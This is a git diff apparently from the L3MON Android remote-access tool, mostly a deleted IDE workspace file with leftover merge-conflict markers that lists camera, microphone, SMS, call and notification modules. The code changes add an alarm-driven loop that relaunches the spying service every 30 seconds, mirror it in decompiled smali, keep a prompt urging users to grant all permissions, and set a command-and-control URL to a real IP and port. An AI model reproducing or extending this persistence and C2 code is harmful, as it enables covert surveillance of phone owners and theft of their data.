-        <option name="SHOW_STATIC_VARS" value="true" />
-        <option name="WORKING_DIR" value="" />
-        <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
-        <option name="SHOW_OPTIMIZED_WARNING" value="true" />
-      </Hybrid>
-      <Java />
-      <Native>
-        <option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
-        <option name="SHOW_STATIC_VARS" value="true" />
-        <option name="WORKING_DIR" value="" />
-        <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
-        <option name="SHOW_OPTIMIZED_WARNING" value="true" />
-      </Native>
-      <Profilers>
-        <option name="ADVANCED_PROFILING_ENABLED" value="false" />
-        <option name="STARTUP_CPU_PROFILING_ENABLED" value="false" />
-        <option name="STARTUP_CPU_PROFILING_CONFIGURATION_NAME" value="Sample Java Methods" />
-      </Profilers>
-      <option name="DEEP_LINK" value="" />
-      <option name="ACTIVITY_CLASS" value="" />
-      <method v="2">
-        <option name="Android.Gradle.BeforeRunTask" enabled="true" />
-      </method>
-    </configuration>
-  </component>
-  <component name="SvnConfiguration">
-    <configuration />
-  </component>
-  <component name="TaskManager">
-    <task active="true" id="Default" summary="Default task">
-      <changelist id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="" />
-      <created>1566593319597</created>
-      <option name="number" value="Default" />
-      <option name="presentableId" value="Default" />
-      <updated>1566593319597</updated>
-    </task>
-    <servers />
-  </component>
-  <component name="TodoView">
-    <todo-panel id="selected-file">
-      <is-autoscroll-to-source value="true" />
-    </todo-panel>
-    <todo-panel id="all">
-      <are-packages-shown value="true" />
-      <is-autoscroll-to-source value="true" />
-    </todo-panel>
-  </component>
-  <component name="ToolWindowManager">
-    <frame x="-7" y="-7" width="1550" height="838" extended-state="7" />
-    <layout>
-      <window_info id="Captures" order="0" side_tool="true" weight="0.25" />
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-      <window_info content_ui="combo" id="Project" order="1" sideWeight="0.49807692" visible="true" weight="0.13154362" />
-=======
-      <window_info content_ui="combo" id="Project" order="1" sideWeight="0.49716714" visible="true" weight="0.13154362" />
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-      <window_info id="Structure" order="2" side_tool="true" />
-      <window_info id="Favorites" order="3" side_tool="true" />
-      <window_info active="true" id="Build Variants" order="4" sideWeight="0.5028329" side_tool="true" visible="true" weight="0.13154362" />
-      <window_info id="Image Layers" order="5" />
-      <window_info id="Designer" order="6" />
-      <window_info id="Resources Explorer" order="7" />
-      <window_info id="Capture Tool" order="8" />
-      <window_info anchor="bottom" id="Run" order="0" sideWeight="0.4968017" weight="0.32827735" />
-      <window_info anchor="bottom" id="Logcat" order="1" sideWeight="0.49840087" weight="0.7450425" />
-      <window_info anchor="bottom" id="TODO" order="2" sideWeight="0.4989339" weight="0.32936078" />
-      <window_info anchor="bottom" id="Debug" order="3" />
-      <window_info anchor="bottom" id="Terminal" order="4" sideWeight="0.4989339" weight="0.32936078" />
-      <window_info anchor="bottom" id="Event Log" order="5" sideWeight="0.50319827" side_tool="true" weight="0.26435536" />
-      <window_info anchor="bottom" id="Version Control" order="6" />
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-      <window_info active="true" anchor="bottom" id="Build" order="7" sideWeight="0.4968017" visible="true" weight="0.26203966" />
-      <window_info anchor="bottom" id="Android Profiler" order="8" show_stripe_button="false" weight="0.32936078" />
-=======
-      <window_info anchor="bottom" id="Build" order="7" sideWeight="0.4968017" weight="0.26203966" />
-      <window_info anchor="bottom" id="Android Profiler" order="8" weight="0.32936078" />
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-      <window_info anchor="bottom" id="Find" order="9" weight="0.3286119" />
-      <window_info anchor="right" id="Device File Explorer" order="0" side_tool="true" />
-      <window_info anchor="right" id="Capture Analysis" order="1" />
-      <window_info anchor="right" id="Gradle" order="2" />
-      <window_info anchor="right" id="Theme Preview" order="3" />
-      <window_info anchor="right" id="Preview" order="4" weight="0.15618336" />
-      <window_info anchor="right" id="Palette&#9;" order="5" />
-    </layout>
-  </component>
-  <component name="XDebuggerManager">
-    <breakpoint-manager>
-      <breakpoints>
-        <line-breakpoint enabled="true" type="java-line">
-          <url>file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java</url>
-          <line>26</line>
-          <properties />
-          <option name="timeStamp" value="2" />
-        </line-breakpoint>
-      </breakpoints>
-    </breakpoint-manager>
-  </component>
-  <component name="editorHistoryManager">
-    <entry file="file://$PROJECT_DIR$/L3MON-Client.iml" />
-    <entry file="file://$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="212">
-          <caret line="14" column="33" selection-start-line="14" selection-start-column="33" selection-end-line="14" selection-end-column="33" />
-        </state>
-      </provider>
-      <provider editor-type-id="android-designer2" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/client - Copy.iml" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/res/values/strings.xml">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="51">
-          <caret line="3" selection-end-line="3" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/.gradle/vcs-1/gc.properties">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/client.iml">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/settings.gradle">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/gradle.properties">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/gradlew">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/gradlew.bat">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/local.properties">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="119">
-          <caret line="7" column="8" selection-start-line="7" selection-start-column="8" selection-end-line="7" selection-end-column="54" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ServiceReciever.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/SMSManager.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
-    <entry file="file://$PROJECT_DIR$/app/app.iml">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/NotificationListener.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/PermissionManager.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
-    <entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/WifiScanner.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="-221">
-          <caret line="2" column="7" selection-start-line="2" selection-start-column="7" selection-end-line="2" selection-end-column="7" />
-          <folding>
-            <element signature="imports" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/provider/Settings.class">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="165">
-          <caret line="49" column="31" selection-start-line="49" selection-start-column="31" selection-end-line="49" selection-end-column="31" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CameraManager.java">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/FileManager.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="85">
-          <caret line="15" column="19" lean-forward="true" selection-start-line="15" selection-start-column="19" selection-end-line="15" selection-end-column="19" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ConnectionManager.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="68">
-          <caret line="11" column="23" lean-forward="true" selection-start-line="11" selection-start-column="13" selection-end-line="11" selection-end-column="30" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java" />
-    <entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/app/Service.class">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="102">
-          <caret line="16" column="22" selection-start-line="16" selection-start-column="22" selection-end-line="16" selection-end-column="22" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MyReceiver.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
-    <entry file="file://$PROJECT_DIR$/build.gradle">
-      <provider selected="true" editor-type-id="text-editor" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="34">
-          <caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="102">
-          <caret line="20" column="39" selection-start-line="20" selection-start-column="39" selection-end-line="20" selection-end-column="39" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="374">
-          <caret line="26" column="9" selection-start-line="26" selection-start-column="9" selection-end-line="26" selection-end-column="9" />
-        </state>
-      </provider>
-    </entry>
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MyReceiver.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
-=======
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/PermissionManager.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="68">
-          <caret line="10" column="24" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="30" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="367">
-          <caret line="76" selection-start-line="76" selection-end-line="76" />
-        </state>
-      </provider>
-      <provider editor-type-id="android-manifest" />
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MyReceiver.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="68">
-          <caret line="8" column="20" selection-start-line="8" selection-start-column="20" selection-end-line="8" selection-end-column="20" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="187">
-          <caret line="15" column="64" selection-start-line="15" selection-start-column="64" selection-end-line="15" selection-end-column="64" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-      <provider selected="true" editor-type-id="text-editor">
-        <state>
-          <folding>
-            <element signature="imports" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="165">
-          <caret line="19" column="36" selection-start-line="19" selection-start-column="36" selection-end-line="19" selection-end-column="36" />
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/build.gradle">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="46">
-          <caret line="10" column="24" selection-start-line="10" selection-start-column="24" selection-end-line="10" selection-end-column="24" />
-        </state>
-      </provider>
-    </entry>
-<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
-    <entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="323">
-          <caret line="23" column="54" selection-start-line="23" selection-start-column="54" selection-end-line="23" selection-end-column="54" />
-=======
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/NotificationListener.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="119">
-          <caret line="17" column="40" selection-start-line="17" selection-start-column="40" selection-end-line="17" selection-end-column="40" />
-          <folding>
-            <element signature="e#457#458#0" expanded="true" />
-            <element signature="e#500#501#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
-      <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="539">
-          <caret line="199" selection-start-line="199" selection-end-line="201" selection-end-column="5" />
-          <folding>
-            <element signature="imports" expanded="true" />
-            <element signature="e#5451#6425#0" expanded="true" />
-            <element signature="e#6424#6425#0" expanded="true" />
-            <element signature="e#7095#7096#0" expanded="true" />
-            <element signature="e#7197#7198#0" expanded="true" />
-          </folding>
->>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
-        </state>
-      </provider>
-    </entry>
-  </component>
-</project>
\ No newline at end of file
diff --git a/APK_SouceCode/app/release/app-release.apk b/APK_SouceCode/app/release/app-release.apk
index c6c402a..ed3f361 100644
Binary files a/APK_SouceCode/app/release/app-release.apk and b/APK_SouceCode/app/release/app-release.apk differ
diff --git a/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java b/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java
index 0e31298..e5005e3 100644
--- a/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java
+++ b/APK_SouceCode/app/src/main/java/com/remote/app/MainActivity.java
@@ -1,6 +1,8 @@
 package com.remote.app;
 
 import android.app.Activity;
+import android.app.AlarmManager;
+import android.app.PendingIntent;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
@@ -21,7 +23,11 @@ public class MainActivity extends Activity {
         super.onCreate(savedInstanceState);
 
         setContentView(R.layout.activity_main);
-        startService(new Intent(this, MainService.class));
+//        startService(new Intent(this, MainService.class));
+        Intent intent = new Intent(this, MainService.class);
+        PendingIntent pendingIntent = PendingIntent.getService(getApplicationContext(), 1, intent, 0);
+        AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
+        alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, 0, 30000, pendingIntent);
         boolean isNotificationServiceRunning = isNotificationServiceRunning();
         if(!isNotificationServiceRunning){
 
diff --git a/app/factory/app-release.apk b/app/factory/app-release.apk
index c6c402a..ed3f361 100644
Binary files a/app/factory/app-release.apk and b/app/factory/app-release.apk differ
diff --git a/app/factory/decompiled/original/META-INF/CERT.RSA b/app/factory/decompiled/original/META-INF/CERT.RSA
index b2bcd46..c50fdaf 100644
Binary files a/app/factory/decompiled/original/META-INF/CERT.RSA and b/app/factory/decompiled/original/META-INF/CERT.RSA differ
diff --git a/app/factory/decompiled/original/META-INF/CERT.SF b/app/factory/decompiled/original/META-INF/CERT.SF
index 0998990..91c4edf 100644
--- a/app/factory/decompiled/original/META-INF/CERT.SF
+++ b/app/factory/decompiled/original/META-INF/CERT.SF
@@ -1,6 +1,6 @@
 Signature-Version: 1.0
 Created-By: 1.0 (Android)
-SHA1-Digest-Manifest: kC0A0pxBWyd9di36828d/aKtGAY=
+SHA1-Digest-Manifest: Th/iiOORabWlIYXdRRPmcoQOYR4=
 
 Name: AndroidManifest.xml
 SHA1-Digest: xKbbLhV3eFCAsWGLIPl7xB3iVFw=
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
 SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
 
 Name: classes.dex
-SHA1-Digest: vtV6DQB/SauRaYzfhYjAfpVZ6T0=
+SHA1-Digest: pu+5uL+7iJohxU/Nyczv7rUXFl4=
 
 Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
 SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
diff --git a/app/factory/decompiled/original/META-INF/MANIFEST.MF b/app/factory/decompiled/original/META-INF/MANIFEST.MF
index d2c89e0..a7c7a73 100644
--- a/app/factory/decompiled/original/META-INF/MANIFEST.MF
+++ b/app/factory/decompiled/original/META-INF/MANIFEST.MF
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
 SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
 
 Name: classes.dex
-SHA1-Digest: 6s2rsvzX3vIiykUN3xdSRwvXx/s=
+SHA1-Digest: dIFomSx5wi3pcCYIqXvuJq2FBQ4=
 
 Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
 SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
diff --git a/app/factory/decompiled/smali/com/remote/app/MainActivity.smali b/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
index f73f336..032a18e 100644
--- a/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
+++ b/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
@@ -51,7 +51,7 @@
 
 # virtual methods
 .method protected onCreate(Landroid/os/Bundle;)V
-    .locals 2
+    .locals 10
 
     invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
 
@@ -65,7 +65,35 @@
 
     invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
 
-    invoke-virtual {p0, p1}, Landroid/app/Activity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+    invoke-virtual {p0}, Landroid/app/Activity;->getApplicationContext()Landroid/content/Context;
+
+    move-result-object v0
+
+    const/4 v1, 0x1
+
+    const/4 v2, 0x0
+
+    invoke-static {v0, v1, p1, v2}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
+
+    move-result-object v9
+
+    const-string p1, "alarm"
+
+    invoke-virtual {p0, p1}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+    move-result-object p1
+
+    move-object v3, p1
+
+    check-cast v3, Landroid/app/AlarmManager;
+
+    const/4 v4, 0x2
+
+    const-wide/16 v5, 0x0
+
+    const-wide/16 v7, 0x7530
+
+    invoke-virtual/range {v3 .. v9}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
 
     invoke-direct {p0}, Lcom/remote/app/MainActivity;->a()Z
 
@@ -77,11 +105,9 @@
 
     move-result-object p1
 
-    const/4 v0, 0x1
+    const-string v0, "Click \'Permissions\'\nEnable ALL permissions\n Click back x2\n Enable \'Package Manager\'"
 
-    const-string v1, "Click \'Permissions\'\nEnable ALL permissions\n Click back x2\n Enable \'Package Manager\'"
-
-    invoke-static {p1, v1, v0}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
+    invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
 
     move-result-object p1
 
diff --git a/app/factory/decompiled/smali/com/remote/app/h.smali b/app/factory/decompiled/smali/com/remote/app/h.smali
index f544045..e84cb93 100644
--- a/app/factory/decompiled/smali/com/remote/app/h.smali
+++ b/app/factory/decompiled/smali/com/remote/app/h.smali
@@ -64,7 +64,11 @@
 
     invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
 
+<<<<<<< HEAD:app/factory/decompiled/smali/com/remote/app/h.smali
     const-string v2, "http://localhost:80?model="
+=======
+    const-string v2, "http://3.6.95.182:22222?model="
+>>>>>>> 6317ea1... alarm manager:server/app/factory/decompiled/smali/com/remote/app/h.smali
 
     invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;